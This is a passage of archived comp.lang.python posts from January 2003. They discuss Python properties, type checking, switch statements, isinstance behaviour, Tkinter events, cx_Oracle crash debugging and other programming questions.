        >>>myinstance.methodname = myfunc

the new function gets called *without* the class instance as the first 
argument.

Is there any way of changing this *without* subclassing?

Cheers
A




From lac at strakt.com  Fri Jan 17 09:55:08 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 17 Jan 2003 15:55:08 +0100
Subject: The benefit of properties (was Re: PEP 8: on member variables vs. attributes) 
In-Reply-To: Message from Peter Hansen <peter@engcorp.com> 
   of "Fri, 17 Jan 2003 09:14:59 EST." <3E280FE3.EB4033F@engcorp.com> 
References: <f57664b9.0301170041.46cc103e@posting.google.com> <v2fuopd3ui6o48@news.supernews.com> <3E280FE3.EB4033F@engcorp.com> 
Message-ID: <200301171455.h0HEt8jL022036@ratthing-b246.strakt.com>

Peter Hansen wrote:
> 
> I rebelled against this at the time, almost outlawing properties,
> because it got to the point where I couldn't tell when something
> was just setting a value, possibly with a check or clipping or
> something applied, and when the code -- which looked like a simple
> assignment -- was actually storing some data in a file, sending
> a message to another thread, stopping the machine's motion, and 
> then launching a Space Shuttle.
> 
> No doubt forbidding them was an overreaction, but at least it
> let us start getting a handle on the complexity of the code.

> I've been looking forward to having a chance to let them redeem
> themselves when I start using them with Python... if they can.
> Do they really enhance clarity and maintenance, or might they be
> more _in the way_ of easy comprehension?

This is a judgement call based on what level of abstaction you want
for the solving of your problem.  Do you want any of your programmers
to _care_ that what really happens when a state changes is 'store some
data in a file, send a message to another thread ....'?  If their
reaction is 'we're mathematicians, don't talk to us about hardware'
then they may be absolutely correct.

Laura Creighton




From wilk-spamout at flibuste.net  Tue Jan 28 14:21:41 2003
From: wilk-spamout at flibuste.net (William)
Date: 28 Jan 2003 20:21:41 +0100
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com> <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil> <b16jlp$fii$1@newsmaster.cc.columbia.edu>
Message-ID: <87ptqht70a.fsf@flibuste.net>

"Eric Mattes" <ericmattes at yahoo.com> writes:

> Sorry, I should have been more specific about the intent of this program. I
> am intending to distribute the program in a form which does not require an
> internet connection. I wanted a python program to act as a server so that it
> can receive requests from a browser pointing to localhost.
> 
> The program is a turn-based game, so it is suitable for web browser
> implementation. I'm just wondering if its feasable to have the whole app
> (server and all) in one package.
> 

Using BaseHTTPServer, we can make an .exe with py2exe. You just run it
and open your browser to play !

> My worries about using BaseHTTPServer come from the fact that when I run
> 'serve_forever()', I need to use the task manager to kill the program. Is
> there some way around that?

When you don't whant to use Control-C to kill your server, you have to
code the suicide and call it with a hidden page, eventualy on an other
port.

-- 
William Dode - http://flibuste.net



From judoscript at hotmail.com  Sat Jan 11 02:40:33 2003
From: judoscript at hotmail.com (James Huang)
Date: 10 Jan 2003 23:40:33 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <mailman.1042038801.29977.python-list@python.org> <52719db8.0301082116.50572416@posting.google.com> <avj741$r77$1@slb3.atl.mindspring.net> <52719db8.0301092211.60ae0618@posting.google.com> <avn0pk$cmq$1@slb9.atl.mindspring.net>
Message-ID: <52719db8.0301102340.2aaf12f7@posting.google.com>

Andrew Dalke <adalke at mindspring.com> wrote in message news:<avn0pk$cmq$1 at slb9.atl.mindspring.net>...
> James Huang:
> > Without static typing, what good does strongly-typedness do?
> 
> Because it's the objects that are typed.  Python variables are
> all references to objects, so their type is (philosohpically)
> "pointer to objects."
> 
> x = 200
> 
> creates an object of type 'int' and makes 'x' reference it.
> 
> y = "Hello"
> 
> creates an object of type 'str' and makes 'y' reference it.
> 
> x + y
> 
> gives an error because you can't do that with ints and strings.
> 

Of course, it's the same as in JudoScript...

> > If you can change the class on the fly, does this break the
> > strong-typedness? It's sort like (void*). JudoScript does the same
> > thing, because an object, after all, is a map with a list of
> > associated methods/functions; unless, of course, it is a Java object
> > or ActiveX.
> 
> Since you can cast in Java, doesn't that break strong-typing?

No, the cast-to type is a subclass. The variable assigned accepts that
class instance. Unless, of course, that class is java.lang.Object.
> 
> The old object is strongly typed.  The new object is strongly
> typed.  I've just changed the object type dynamically, that's all.
> 
> 
> > Python seems to have quite a few dangerous features that lack in Java
> > but do exist in C++. Java was born so many years after C++ and Python,
> > so there must be some reasons, I am afraid. Otherwise, with good
> > discipline, C++ can be just as good (except for garbage collection).
> 
> Man, you've bought the party line hook, line, and sinker.  (Umm,
> idiomatic expression meaning that I've heard that before from others,
> that it seems to come from Sun, and that I don't agree with it, nor
> that I believe you've thought it through enough to judge it.)
> 
> Java doesn't have:
>    Multiple inheritance
>    User-defined definitions for how instances interact with operators
>    Generics
> 
> The reason given for the first two is that "they are dangerous features
> and shouldn't be used."  But MI has its uses, as does redefining how
> operators work.  (I find the latter especially useful.)  And generics
> in Python and C++ are very powerful.  Last I heard, they will be
> added to Java "someday."  (Didn't bother to check if they exist
> already.)
> 
> Oh, and Java does have that weird "we have integers and Integers".
> (I've heard the expression 'boxed' vs. 'unboxed.')
> 
> Have you ever considered that the people who developed Java didn't
> develop a better language than those which existed before?
> 
> 
> 
> > It's the statical typing that make strong-typedness a big help for
> > boosting software quality -- the compiler! And that's what makes me
> > wonder people implement big software without the help of compilers.
> 
> The Python party line (which I agree with) is that there are plenty
> of other errors which can arise in programming.  Type checking is
> one way to find those errors, but a good regression suite -- which
> you need in any case -- catches nearly all the errors that type
> checking would have caught, and catch more.  The downside of static
> typing is that you have to enter in all those types, so the code is
> more verbose and harder to read, understand, and maintain.
> 
> > To me, Python and Java are similar because they both support class and
> > inheritance, and garbage collection. I wouldn't say C++ and Python are
> > similar. Of course, variable declaration or not, blah blah ...
> 
> Hmm... OCaml supports classes
> 
> http://caml.inria.fr/ocaml/htmlman/manual005.html#ss:classes-and-objects
> 
> and inheritance
> 
> http://caml.inria.fr/ocaml/htmlman/manual005.html#ss:inheritance
> 
> but it's a functional language.  I think again (as others have asserted)

I don't even know why I got into discussions about Java vs Python vs
C++ ... I generally avoid this kind of discussions, because they are
similar to me (ok, whatever it means). I mentioned that elsewhere in
this thread more than once. "Minor" differences of languages don't
interest me. If I want to compare languages, I'd rather compare Python
to Prolog, or Jython to JudoScript, because they *are* different.
JudoScript is born because it is different than Jython (certainly not
the syntax, and some people finally get it.)

> that your exprience in programming languages needs some broadening.
> 
> 
> 					Andrew
> 					dalke at dalkescientific.com

Java land is where I stand, and I lack passion for "similar"
languages, such as Rhino, BeanShell, Jython, JRuby, Jacl, J??? (for
Java). No difference to me. (I was trying to read an article comparing
some of these; I couldn't finish it.)

If I have time, I'd like to get into VHDL, or Francais, Japanese,
Espanol, Deutsche, Rus, Hebrew and Arabic, roughly in that order. That
would be real cool, wouldn't it?

Nice talking to you. It is fascinating to talk to you and this group
of knowledgeable and dedicated programmers, and wish you and all
others a good year of 2003!

Thank you,
-James



From gerhard.haering at opus-gmbh.net  Tue Jan 21 12:30:49 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 21 Jan 2003 17:30:49 GMT
Subject: Oracle & Python trouble
References: <ff30b903.0301210825.79baa2fa@posting.google.com>
Message-ID: <slrnb2r0tk.144.gerhard.haering@haering.opus-gmbh.net>

Fred Bartlett <vepxistqaosani at netscape.net> wrote:
> Hello!
> 
> I'm using Python to access an Oracle DB with the cx_Oracle module.
> But Windows 2000 (yeah, yeah, I know ...) doesn't like my script:
> [...]
> The first time through the "for tablename" loop, it works; the second time,
> it crashes with a Win2k error message:
> 
>   python.exe - Application Error
>   The instructions at <address> referenced memory at "0x00000000". The
>   memory could not be "written".
> 
> This looks very much like a problem with a rogue null pointer; but where
> could it be hiding?

Without a C compiler (read: M$VC) and cx_Oracle compiled in debug mode
(easiest against the debug build of Python; python setup.py build --debug)
or, alternatively, the temporary addition of a bunch of logging statements
in the cx_Oracle source you likely won't find out.

It's IMO very unlikely that this problem is Windows-specific, so if you
don't have access to the necessary development environment for MS operating
systems, you could maybe just build DCOracle in debug mode on Linux/Unix
and do something like:

#v+
$ ulimit -c unlimited
$ python my_script.py
$ gdb /path/to/python
gdb> core core
gdb> bt              # <-- this will show the backtrace
#v-

nothing-a-few-hundred-printfs-couldn't-fix-ly yours,

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From donn at drizzle.com  Sun Jan 19 13:30:01 2003
From: donn at drizzle.com (Donn Cave)
Date: Sun, 19 Jan 2003 18:30:01 -0000
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de> <slrnb2jqiv.91m.grante@localhost.localdomain> <mailman.1042934674.24272.python-list@python.org> <slrnb2k5qs.93i.grante@localhost.localdomain> <b0e6cm$oj4ul$1@ID-71831.news.dfncis.de> <m3adhx6nj1.fsf@mira.informatik.hu-berlin.de>
Message-ID: <1043000998.91408@yasure>

Quoth martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=):
...
| It appears that this is a matter of terminology. My definition is "an
| operator is overloaded if the same operator has different effects
| depending on the number and types of its arguments". It appears that
| this terminology is shared by a number of people in this group.
|
| My guess is that people who had formal training in a single language
| will associate any term with the definition that this term had for
| this language. People who have been exposed to more languages tend to
| accept generalizations as useful, too.

Maybe it would help to consider why we're asking.  If the goal is to
arrive at an explanation that resolves some potential confusions about
how Python might work, I propose that "overloading" is a term we're
better off without.

Isn't it reasonably true that operators in Python are a notational
convenience for the same method dispatch that's conceptually used
anywhere else?  "a + b" is "a.__add__(b)".  It has different effects
depending on number and type of its arguments, but not really - if 
b is 9 or "hi" or [] makes no difference, the same function will be
called notwithstanding.

The complications - a.__add__ may not exist, b.__radd__ may be called
then, pages of code inside Python may be devoted to sorting out the
possibilities - are just footnotes.  Tim Peter's explanation of why
Python doesn't have overloading applies just the same to operators -
lacking type declarations, there's still no way to spell it.

	Donn Cave, donn at drizzle.com



From jerf at compy.attbi.com  Sun Jan 26 23:56:58 2003
From: jerf at compy.attbi.com (jerf at compy.attbi.com)
Date: Mon, 27 Jan 2003 04:56:58 GMT
Subject: Purpose of Python Type Checking?
References: <mailman.1043633328.27598.python-list@python.org> <A7WdnXDV-psLLqmjXTWcoA@comcast.com>
Message-ID: <pan.2003.01.26.23.56.53.590876@compy.attbi.com>

On Sun, 26 Jan 2003 23:13:29 -0500, Terry Reedy wrote:
> 2. Situation-specific need such as changing behavior depending on
> type.
> 3. Application of belief in "look-before-you-leap" rather than
> "try-it-and-see".

I use it in my code generally as a combination of those two; I believe in
"try it and see, but if it fails it must fail atomically", i.e., a failure
does not change anything in the data structure. If I can not guarentee
this, I will do certain checks (usually just the type checking described
in the OP), which while you can never always truly *guarentee* that an
operation will succeed after those checks, you may be able to push the
occurance rate down to an acceptable level.

This especially happens when I'm creating an abstract OO API that I expect
others to fill in, and I have no control over the code that will execute,
nor do I wish to push responsibility for ensuring those properties onto
the programmer with no 'safety net' at all for detecting failures. (It is
their responsibility to meet the requirements, of course, but the more
help you offer them in doing it, the happier everybody is.) A subtle
failure to maintain some property might take the entire application down
with it and corrupt user data in difficult-to-debug or correct ways, so
IMHO it's worth the protection that a little 'look-before-you-leap' can
offer you in that case. (After all, losing user data is The Ultimate
Programming Sin, ranking well above Violating the Python Philosophy. ;-) )

Usually I leave an out, though, by declaring an empty "Tag" class from
which my top-level class derives, and checking against that rather then
the top-level class, so if someone REALLY knows what they are doing, they
can still write a class with that interface from scratch. (Which reminds
me I need to fix that in my code...) It is then easy enough to add that
tag class to any other class, even pre-existing ones, to deliberately
'bypass' the type checks.




From mcfletch at rogers.com  Mon Jan 13 15:27:42 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Mon, 13 Jan 2003 15:27:42 -0500
Subject: ResourcePackage 1.0.0a2 available...
In-Reply-To: <just-E687F6.20113413012003@news1.news.xs4all.nl>
References: <mailman.1042476451.9009.python-list@python.org> <just-E687F6.20113413012003@news1.news.xs4all.nl>
Message-ID: <3E23213E.3080108@rogers.com>

Zlib compression is actually already optional :) .  It's just that the 
option is handled on a filetype-by-filetype basis (at the moment, the 
only filetypes that are compressed are .txt, .html and .pdf (chosen 
totally arbitrarily as I was coding just to test the gzipping 
mechanism)).  To do something different, change your scanning__init__.py 
to use a different set of generators when initialising the Package object:

The current default set of generators is
{
    "": defaultgenerators.SIMPLE, # used if no specific generator registered
    ".txt": defaultgenerators.GZIP,
    ".html": defaultgenerators.GZIP,
    ".pdf": defaultgenerators.GZIP,
}

And wxgenerators adds wxgenerators.GENERATOR registered as default for 
each of:
    [ '.png','.jpg','.ico','.tif','.bmp','.xpm', 
'.gif','.pcx','.pnm','.iff', ]
if/when it's imported.  That's a poor design decision, as it should 
really not change a default but instead provide a mechanism for updating 
your own custom set.

Should the mappings be defined by a data-file instead (a resource :) )? 
 Should there be a similar data-file in the resource directory to 
customise the site-wide customisation?

Probably should be something along those lines to prevent needing lots 
of slightly-customised scanning__init__ files. Will see about getting 
that done tomorrow.

Enjoy,
Mike

Just wrote:

>In article <mailman.1042476451.9009.python-list at python.org>,
> "Mike C. Fletcher" <mcfletch at rogers.com> wrote:
>
>  
>
>>ResourcePackage is a mechanism for automatically managing resources 
>>(i.e. non-Python files: small images, documentation files, binary data) 
>>embedded in Python modules (as Python source code), particularly for 
>>those wishing to create re-usable Python packages which require their 
>>own resource-sets.
>>    
>>
>[ ... ]
>  
>
>>    http://sourceforge.net/projects/resourcepackage/
>>    
>>
>
>Cool! Very nice idea.
>
>One minor comment after a quick scan of the code: if possible, I'd make 
>zlib compression optional, as when packaging the modules in a zip file 
>(and import it with zipimport) would otherwise result in double 
>compression.
>
>Just
>  
>
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From peter at engcorp.com  Tue Jan  7 09:00:49 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Jan 2003 09:00:49 -0500
Subject: Opinions, please: Repository module
References: <mailman.1041806169.632.python-list@python.org> <200301060017.19510.andy@eastonwest.co.uk> <1041817358.1368.1470.camel@software1.logiplex.internal> <mailman.1041878643.15780.python-list@python.org> <ave3p6$2j4$01$1@news.t-online.com>
Message-ID: <3E1ADD91.64654736@engcorp.com>

Stephan Diehl wrote:
> 
> andy wrote:
> 
> > Thanks, cliff, I will take a look at pyro.
> >
> > As I said at the end of my original post:
> > "I just /bet/ someone is going to tell me now that there's already
> > something out there which does exactly this :-(
> 
> You might want to try Standalone ZODB (that's the ZOPE object database). It
> just works like a networked dictonary (and can be used to share objects
> over a network)

Is that really the case?  I thought StandaloneZODB was simply a repackaging
of ZODB separate from the rest of Zope.  It can be accessed from only one
process at a time, I believe, so I don't think it just "works like a 
networked dictionary" at all... in the way I would understand that sentence.

Without some kind of server running on top of the ZODB, and client software
which talks the protocol the server wants, you won't get very far.  

Or am I misinterpreting something?

-Peter



From lac at strakt.com  Sat Jan 25 21:21:59 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 26 Jan 2003 03:21:59 +0100
Subject: More usenet usage statistics, by programming language 
In-Reply-To: Message from bokr@oz.net (Bengt Richter) 
   of "26 Jan 2003 02:02:02 GMT." <b0vfiq$2gi$0@216.39.172.122> 
References: <b0s7hn$fum$1@bob.news.rcn.net> <3E332BDF.25DE97C7@lvcm.com> <b0vfiq$2gi$0@216.39.172.122> 
Message-ID: <200301260222.h0Q2M0jL004337@ratthing-b246.strakt.com>

> >
> Actually, I think a better measure might be counting distinct posters with a
> minimum of two posts. This would indicate interest (e.g., dialog or more than
> one question) more strongly than a single post, IWT. A table including both
> would be interesting. I agree on time interval vs flat latest count also.
> I guess you might expect spikes around significant announcements (good or bad
> )
> which could skew results from different languages.
> 
> Another interesting measure might be the aggregate volume of unquoted text vs
>  total,
> and those numbers divided by number of unique posters, for average level of i
> nterest.
> 
> Regards,
> Bengt Richter

If Bengt Richter spends all day answering questions on
comp.lang.python, then other people, who would happily have posted if
Bengt had been sick and couldn't answer, will remain silent because
Bengt is doing a perfectly adequate job.  The faster Bengt types, the
lower the volume.

If we want to make the volume in this newsgroup go up, just post something
that is _wrong_.  Or claim that vi is superior to emacs or vice-versa.
Or ask people what their favourite <anything> is.  Or write a note
claiming that Lisp is only used by fools and the mentally unstable and
make sure that the readers of comp.lang.lisp hear about it. <wink>

Laura Creighton




From brian at sweetapp.com  Wed Jan 29 18:53:46 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Wed, 29 Jan 2003 15:53:46 -0800
Subject: best way to do some simple tasks
In-Reply-To: <c42e062e.0301291531.6a656e4@posting.google.com>
Message-ID: <006701c2c7f1$a995fca0$21795418@dell1700>

>    What is the correct and best way to do this?
>    x =[1,2,3,4]
>    print "%(x[2])i blah" % vars() # <- does not work

print "%d blah" % (x[2])

> 2) Perform a method on each element of an array
>    a= ["  hello  ",  "  there  "]

Do you want to create a new list or not?

If you want to create a new one:

a = [s.strip() for s in a]

> 3) What is the best way to do this?
> 
>    a=[1,2,3]
>    b=[1,1,1]
> 
>    how do I get c=a+b (c=[2,3,4])?

c = [i+j for i,j in zip(a,b)]

> 4) Why does this work this way?
>    d=[1,2,3,4,5]
>    for h in d:
>       h+=1
>    print d
>    >>>[1, 2, 3, 4, 5]
> 
>    Is there a python reason why h is a copy not a reference to the
> element in the list?  In perl the h would be a ref.  If d was a tuple
> I could understand it  working this way.

No copy was created. I think that augmented assignment is a wart in
Python. For immutable types, augmented assignment causes a name
rebinding but for mutable types it causes the object to be modified.
Yuck.

Cheers,
Brian





From sasDOTepsylon at wanadoo.fr  Wed Jan  8 07:40:48 2003
From: sasDOTepsylon at wanadoo.fr (EpSyLOn)
Date: Wed, 08 Jan 2003 13:40:48 +0100
Subject: Port Python to PS2
References: <194e1e0a.0301031622.69bf6994@posting.google.com> <qm8d1v8oa5kmfb15m7sj1v3g7v5cvvvrfl@4ax.com> <194e1e0a.0301040926.2833ec9f@posting.google.com>
Message-ID: <dq6o1vc0u8vlqo4is6e2qdfed3d67053kg@4ax.com>

On 4 Jan 2003 09:26:01 -0800, coreydalejohnson at yahoo.com (corey)
wrote:

>EpSyLOn <sasDOTepsylon at wanadoo.fr> wrote in message news:<qm8d1v8oa5kmfb15m7sj1v3g7v5cvvvrfl at 4ax.com>...
>> http://www.python.org/download/download_other.html
>> "Python for PlayStation
>> 
>> Erwin Coumans has completed a port of Python to the Sony PlayStation
>> 2. Send him email for more info."
>> His email: erwin at blender.nl
>> --                             ___
>
>I've to e-mail him. But that address is no longer valid (I think since
>blender went under)

Hum this Python page really must be updated (maybe you should tell
this to the webmaster).
I think you should try a google web/group search for his email.
-- 
                               ___
                              |   |    \|/
  sas.epsylon<at>wanadoo.fr   |   |   (o o)
  ______ ______  _____ __   _ |   |oOO_(_)_OOo
 /  __  Y      \/ ____/  \/  !'   |/    \     \
|   ____/ |__>  |____ \  `   |    |_ O   | ^   |
 \_____/|   ___/______X_    Y_______|___/__||__|
   ~*~  |__|          \____/



From jepler at unpythonic.net  Wed Jan 29 09:16:37 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 29 Jan 2003 08:16:37 -0600
Subject: "\n" in unicode vs "regular" string: is this normal?
In-Reply-To: <b18dcj$2rh$1@news-reader12.wanadoo.fr>
References: <b18dcj$2rh$1@news-reader12.wanadoo.fr>
Message-ID: <20030129141637.GS16079@unpythonic.net>

On Wed, Jan 29, 2003 at 12:25:58PM +0100, Eric Brunel wrote:
> Hi all,
> 
> Consider the following class:
[snip]

This can be demonstrated with slightly simpler code:
>>> class D:
...     def __repr__(self): return unicode("\r\n\t\01\u1234\U12345678")
... 
>>> D()
\r\n\t\x01\u1234\U12345678




From kwalker at earth1.net  Sat Jan 18 17:59:50 2003
From: kwalker at earth1.net (Bill Walker)
Date: Sat, 18 Jan 2003 17:59:50 -0500
Subject: How to convert string to float in Python 1.2
Message-ID: <3e29dba4_4@corp.newsgroups.com>

I'm using Python 1.2 on a ZEOS notebook which runs MS DOS 5.0. Python 1.5 or
higher will NOT install in DOS mode.

I have a string that I need to convert to a float.

f = float('1.234')

for example.  This works in Python 1.5 but does not work in Python 1.2. Nor
is there a built-in function or a string module that will work (that I have
found). Any tricks to doing this conversion in version 1.2, short of writing
my on string to float module?






-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From dkt at registriesltd.com.au  Thu Jan 16 01:02:58 2003
From: dkt at registriesltd.com.au (David K. Trudgett)
Date: Thu, 16 Jan 2003 17:02:58 +1100
Subject: FW: Switch statements again
In-Reply-To: <aXqV9.1044$IZ5.489@nwrddc04.gnilink.net>; from imbosol@vt.edu on Thu, Jan 16, 2003 at 04:55:34AM +0000
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <1042672900.3e25ed04a5f1a@www.progoth.com> <mailman.1042687953.21581.python-list@python.org> <aXqV9.1044$IZ5.489@nwrddc04.gnilink.net>
Message-ID: <20030116170258.E1683@regdp-02.intint.registriesltd.com.au>

On Thursday 2003-01-16 at 04:55:34 +0000, Carl Banks wrote:

> David K. Trudgett wrote:
> > On Wednesday 2003-01-15 at 18:21:40 -0500, Steven Scott wrote:
> >> Quoting Steven Scott <Steven.Scott at Synchrologic.com>:
> >> > 
> >> > If/elif/else remains the most common method.  If Python ever gains
> >> > something
> >> > like a switch statement you can bet the farm it won't have a "fall thru"
> >> > feature though, so the way you've coded your C switch statement wouldn't
> >> > work.
> >> > 
> >> 
> >> but the absolute /only/ reason you'd use a switch over an if (besides
> >> looking better) is fall through.
> > 
> > Pascal has no fall though on its case statement, but presumably Wirth
> > thought it was still worth it. A hundred elifs in a row is just plain
> > ugly, anyway. Python should get a case/switch statement, just as Perl
> > 6 is going to get one. Leaving it out of both languages to begin with
> > was misguided. (At least Perl has always had better ways around the
> > problem than Python.)
> 
> I'm curious what are the better ways Perl has around this problem--can
> you elaborate?  I'm curious because I often quote some of Perl's

"Better" is just a matter of opinion, as well as a function of the
particular programming problem involved. People have thought up
probably a dozen different ways to do a switch in Perl, some more
inspired than others.

So, there's no point elaborating for that reason (an opinion can't be
demonstrated or proved). Suffice it to say that most people who like
Python's syntax won't like the various Perl hacks to try to do a
switch statement. Perl 6, when it arrives (it's a fair way off), will
probably obviate any need to seek succour in any of those hacks.


> convoluted examples of switch statements, such as the ones listed on
> the perlsyn man page, as evidence of why Perl is such a bad language.

Yes, the perlsyn page has plenty of examples to boggle the mind. A lot
of them would be fairly unobvious to the Perl newbie. It's a matter of
opinion, though, whether the freedom to choose the best option to do
the job makes a language bad or not. I happen to like the "There's
more than one way to do it" philosophy (when not taken to absurd
lengths). I dislike Python's straightjacket, condescending approach.
Of course, Perl in its current incarnation has a lot of warts and is
far from perfect itself... Lisp, for example, far exceeds Perl in the
area of TMTOWTDI.



> Maybe you have something different in mind, though.

Not really. A hash of subroutine references comes in handy sometimes,
but then you can do that in Python, too. One of the examples on the
perlsyn page looks pretty much like a proper C switch, which isn't too
bad if you like C syntax.


David Trudgett





From aztech1200 at yahoo.com  Fri Jan  3 15:02:10 2003
From: aztech1200 at yahoo.com (Az Tech)
Date: 3 Jan 2003 12:02:10 -0800
Subject: Returning a list/dict as "read-only" from a method ? Prop. not wkg.
References: <5a969143.0212260531.125c98f4@posting.google.com> <aufh6l$rvq$0@216.39.172.122> <5a969143.0212270626.42344517@posting.google.com>
Message-ID: <5a969143.0301031202.6e528bbe@posting.google.com>

> > On 26 Dec 2002 05:31:07 -0800, aztech1200 at yahoo.com (Az Tech) wrote:
> > 
> > >Hello group,
> > >
> > >Platform: ActivePython 2.2.1 on Windows 98 - but nothing OS-specific 
> > >in the code.
> > >This question is about how to return a list/dictionary from a method
> > >(of a class) in such a way that it stays "read-only" to the caller -
> > >or any other technique that is equivalent in terms of effect. Read on
> 

Hi people,

Some had suggested using the new 'property' feature of Py 2.2 to solve
this problem.
I tried it out, but it does not work unless I do a copy of the self.list
or self.dict before returning it. 

Sample code and output below.



# New_2.2_deep_copy_nested_list01.py
# Program to test deep copy of nested list.


class BinaryFile(object):

    import copy

    def __init__(self):
        pass

    def make_list2(self):
        self.__a_list2 = [ [1, 2], [3, 4], [5, 6] ]

    def get_list2(self):
        t_list2 = copy.deepcopy(self.__a_list2)
        return t_list2

    # set_list2() not defined
    # del_list2() not defined
    
    list2 = property(get_list2, None,
                    None,
                    "Two-level nested list")
 
def main():
    bf = BinaryFile()
    bf.make_list2()
    #print "bf.get_list2() = ", bf.get_list2()    #1
    print "bef mod, bf.list2 = ", bf.list2                #2
    #bf.list2 = []                                #3
    bf.__a_list2 = [ [0], [1] ]
    print "aft mod, bf.list2 = ", bf.list2                #4
    print "bf.__a_list2 = ", bf.__a_list2 
    
if __name__ == '__main__':
    main()



Output:

>>> bef mod, bf.list2 = 
>>>  [[1, 2], [3, 4], [5, 6]]
>>> aft mod, bf.list2 = 
>>>  [[1, 2], [3, 4], [5, 6]]
>>> bf.__a_list2 = 
>>>  [[0], [1]]
>>> 

[Note: the last two lines of the output above show that it is still
possible, though, to assign to the instance's __a_list2 member - even
though this does not affect the value of the property. Is this some kind
of 'shadowing' of the member variable ?

(Used the same printing of id() both in the method and in the caller,
and it returned the same value. )

Was able to modify the member variable using the return value of the 
method. The only way in which I could prevent it from being modified
was by making my self.list or self.dict as 'private', using a leading 
double underscore, e.g. self.__list, as in the code above.

Also, I can get the desired result without using property at all,
simply by doing a copy (or a copy.deepcopy()) of the list/dict.

I've finally settled on this approach:

import copy

.
.
.

then, in the method, do hand-coded copy if the element is a 'scalar'
variable (a la Perl), else, if a list/dict, do a copy.deepcopy(list/dict)
and then return that copy.

Just FYI.

Az



From BPettersen at NAREX.com  Tue Jan 21 16:00:08 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Tue, 21 Jan 2003 14:00:08 -0700
Subject: anybody know where I can get a copy of a NeXT style guide?
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE128@admin56.narex.com>

> From: Laura Creighton [mailto:lac at strakt.com] 
> 
> Does such a beast exist?  Google isn't being helpful.

Try googling for "nextstep user interface guidelines". If I remember
correctly, they didn't release it electronically (but it's been a while,
so I could be completely off base... :-)

-- bjorn
NeXT Campus Rep '92 <grin>




From mis6 at pitt.edu  Sat Jan 18 11:50:25 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 18 Jan 2003 08:50:25 -0800
Subject: isinstance is broken
Message-ID: <2259b0e2.0301180850.7421e446@posting.google.com>

There are inconsistencies in "isinstance".

Example 1:

>>> isinstance(int,object)
1

gives no error message. I don't like it, an error should be
raised. There is issubclass for that job:

>>> issubclass(int,object)
1


Example 2:

>>> class C: pass #does *not* inherit from object
>>> c=C() 
>>> isinstance(c,object) #???
1

It is clear that c is *not* an instance of class object: 
for example it doesn't have the __new__ attribute:

>>> c.__new__
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
AttributeError: C instance has no attribute '__new__'

Moreover, on a related note:

>>> import re
>>> reobj=re.compile('x')
>>> isinstance(reobj,object)
1
>>> reobj.__new__
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
AttributeError: __new__

but regular expression objects are *not* instances of object (this is
also documented). I wonder if there is a plan to make regular expression 
objects regular objects in the near future. For the moment, of course I 
can use

class RE(object):
  def __init__(self,regexp):
      reobj=re.compile(regexp) 
      for attr in dir(reobj):
          setattr(self,attr,getattr(reobj,attr))

REobj=RE('x')
REobj.__new__
<built-in method __new__ of type object at 0x80e6280>

Should I interpret the fact that isinstance(something,object) always returns
true as a bug or is it intentional ?

Cheers,

                            Michele



From chris.lyon at spritenote.co.uk  Thu Jan 30 09:08:05 2003
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 30 Jan 2003 06:08:05 -0800
Subject: traditional tk inter problem
References: <d232c5e.0301291047.774dbf67@posting.google.com> <cb035744.0301291532.4ac5c1a2@posting.google.com>
Message-ID: <d232c5e.0301300608.315cc691@posting.google.com>

Ooooooooh I didn't know you could do that.

Thank you very much Will.

That's the graph sorted out then...



From claird at lairds.com  Thu Jan  9 17:01:58 2003
From: claird at lairds.com (Cameron Laird)
Date: Thu, 09 Jan 2003 22:01:58 -0000
Subject: iconify/deiconify catches in Tkinter
References: <mailman.1042010114.13709.python-list@python.org> <avhtku$v7d$1@news1.tilbu1.nb.home.nl> <avjfhr$k99$1@news-reader11.wanadoo.fr>
Message-ID: <v1rsam1ee4sv0d@corp.supernews.com>

In article <avjfhr$k99$1 at news-reader11.wanadoo.fr>,
Eric Brunel  <eric.brunel at pragmadev.com> wrote:
>v.wehren wrote:
>> "Dave Martens" <davemartens at yahoo.com> schrieb im Newsbeitrag
>> news:mailman.1042010114.13709.python-list at python.org...
>>> Hi,
>>>
>>>   As Tkinter people know, the destroy window
>>> button (X) on a window can be caught, but I
>>> cannot find any way to catch the other two
>>> buttons (iconify and maximize).
>> 
>> Taking a glance at the Tkinter modules would suggest that the protocol
>> method  is pretty open. So,
>> one would expect something like: w.protocol("WM_ICONIFY_WINDOW", callback)
>> wouldn't one?
>> Alas, doesn't seem to work...(at least not on win32)
>
>I looked into tk's code (namely win/tkWinX.c) and I didn't find anything 
>concerning iconify/deiconify events. The WM_DELETE_WINDOW is explicitely 
